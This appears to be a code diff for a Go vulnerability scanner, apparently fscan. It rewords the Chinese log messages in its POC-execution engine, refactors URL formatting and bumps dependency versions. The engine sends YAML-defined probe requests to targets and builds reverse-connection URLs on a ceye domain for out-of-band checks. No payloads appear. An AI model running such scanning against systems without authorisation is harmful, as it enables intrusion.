env, err := NewEnv(&config) env, err := NewEnv(&config)
if err != nil { if err != nil {
return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), "" return false, fmt.Errorf("执行环境错误 %s: %v", p.Name, err), ""
} }
// 解析请求 // 解析请求
req, err := ParseRequest(oReq) req, err := ParseRequest(oReq)
if err != nil { if err != nil {
return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), "" return false, fmt.Errorf("请求解析错误 %s: %v", p.Name, err), ""
} }
// 初始化变量映射 // 初始化变量映射
@ -126,7 +121,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
continue continue
} }
if err, _ = evalset(env, variableMap, key, expression); err != nil { if err, _ = evalset(env, variableMap, key, expression); err != nil {
Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err)) Common.LogError(fmt.Sprintf("设置项执行错误 %s: %v", p.Name, err))
} }
} }
@ -167,14 +162,14 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
} }
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
// 创建新请求 // 创建新请求
newRequest, err := http.NewRequest( newRequest, err := http.NewRequest(
rule.Method, rule.Method,
fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))),
strings.NewReader(rule.Body), strings.NewReader(rule.Body),
) )
if err != nil { if err != nil {
return false, fmt.Errorf("创建新请求失败: %v", err) return false, fmt.Errorf("请求创建错误: %v", err)
} }
// 设置请求头 // 设置请求头
@ -247,8 +242,9 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
func doSearch(re string, body string) map[string]string { func doSearch(re string, body string) map[string]string {
// 编译正则表达式 // 编译正则表达式
r, err := regexp.Compile(re) r, err := regexp.Compile(re)
// 正则表达式编译
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err)) Common.LogError(fmt.Sprintf("正则编译错误: %v", err))
return nil return nil
} }
@ -323,8 +319,9 @@ func newReverse() *Reverse {
// 构建URL // 构建URL
urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain) urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain)
u, err := url.Parse(urlStr) u, err := url.Parse(urlStr)
// 解析反连URL
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err)) Common.LogError(fmt.Sprintf("反连URL解析错误: %v", err))
return &Reverse{} return &Reverse{}
} }
@ -463,13 +460,11 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
if success { if success {
// 处理成功情况 // 处理成功情况
if currentRule.Continue { if currentRule.Continue {
// 特殊POC的输出处理 targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s", Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s", targetURL, p.Name))
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
} else { } else {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, currentParams))
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams))
} }
continue continue
} }
@ -477,8 +472,8 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
// 记录成功的参数组合 // 记录成功的参数组合
strMap = append(strMap, currentParams...) strMap = append(strMap, currentParams...)
if ruleIndex == len(p.Rules)-1 { if ruleIndex == len(p.Rules)-1 {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, strMap))
return false, nil return false, nil
} }
break paramLoop break paramLoop
@ -600,9 +595,9 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body)) newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body))
if err != nil { if err != nil {
return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err) return false, fmt.Errorf("HTTP请求错误: %v", err)
} }
defer func() { newRequest = nil }() // 及时释放资源 defer func() { newRequest = nil }()
// 设置请求头 // 设置请求头
newRequest.Header = oReq.Header.Clone() newRequest.Header = oReq.Header.Clone()
@ -613,7 +608,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
// 发送请求 // 发送请求
resp, err := DoRequest(newRequest, rule.FollowRedirects) resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil { if err != nil {
return false, fmt.Errorf("[-] 发送请求失败: %v", err) return false, fmt.Errorf("请求发送错误: %v", err)
} }
// 更新响应到变量映射 // 更新响应到变量映射
@ -638,7 +633,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
out, err := Evaluate(env, rule.Expression, variableMap) out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil { if err != nil {
if strings.Contains(err.Error(), "Syntax error") { if strings.Contains(err.Error(), "Syntax error") {
Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err)) Common.LogError(fmt.Sprintf("CEL语法错误 [%s]: %v", rule.Expression, err))
} }
return false, err return false, err
} }

6
go.mod
View File

@ -8,7 +8,7 @@ require (
github.com/IBM/sarama v1.43.3 github.com/IBM/sarama v1.43.3
github.com/Ullaakut/nmap v2.0.2+incompatible github.com/Ullaakut/nmap v2.0.2+incompatible
github.com/denisenkom/go-mssqldb v0.12.3 github.com/denisenkom/go-mssqldb v0.12.3
github.com/fatih/color v1.7.0 github.com/fatih/color v1.18.0
github.com/go-ldap/ldap/v3 v3.4.9 github.com/go-ldap/ldap/v3 v3.4.9
github.com/go-ole/go-ole v1.3.0 github.com/go-ole/go-ole v1.3.0
github.com/go-resty/resty/v2 v2.16.2 github.com/go-resty/resty/v2 v2.16.2
@ -66,8 +66,8 @@ require (
github.com/jcmturner/rpc/v2 v2.0.3 // indirect github.com/jcmturner/rpc/v2 v2.0.3 // indirect
github.com/klauspost/compress v1.17.9 // indirect github.com/klauspost/compress v1.17.9 // indirect
github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect
github.com/mattn/go-colorable v0.0.9 // indirect github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.3 // indirect github.com/mattn/go-isatty v0.0.20 // indirect
github.com/pierrec/lz4/v4 v4.1.21 // indirect github.com/pierrec/lz4/v4 v4.1.21 // indirect
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect
github.com/rogpeppe/go-internal v1.13.1 // indirect github.com/rogpeppe/go-internal v1.13.1 // indirect

9
go.sum
View File

@ -66,6 +66,8 @@ github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc=
github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I= github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I=
github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw= github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw=
github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g= github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
@ -235,8 +237,13 @@ github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6w
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mattn/go-colorable v0.0.9 h1:UVL0vNpWh04HeJXV0KLcaT7r06gOH2l4OW6ddYRUIY4= github.com/mattn/go-colorable v0.0.9 h1:UVL0vNpWh04HeJXV0KLcaT7r06gOH2l4OW6ddYRUIY4=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.3 h1:ns/ykhmWi7G9O+8a448SecJU3nSMBXJfqQkl0upE1jI= github.com/mattn/go-isatty v0.0.3 h1:ns/ykhmWi7G9O+8a448SecJU3nSMBXJfqQkl0upE1jI=
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
@ -480,8 +487,10 @@ golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=

View File

@ -9,6 +9,7 @@ import (
) )
func main() { func main() {
start := time.Now() start := time.Now()
var Info Common.HostInfo var Info Common.HostInfo
Common.Flag(&Info) Common.Flag(&Info)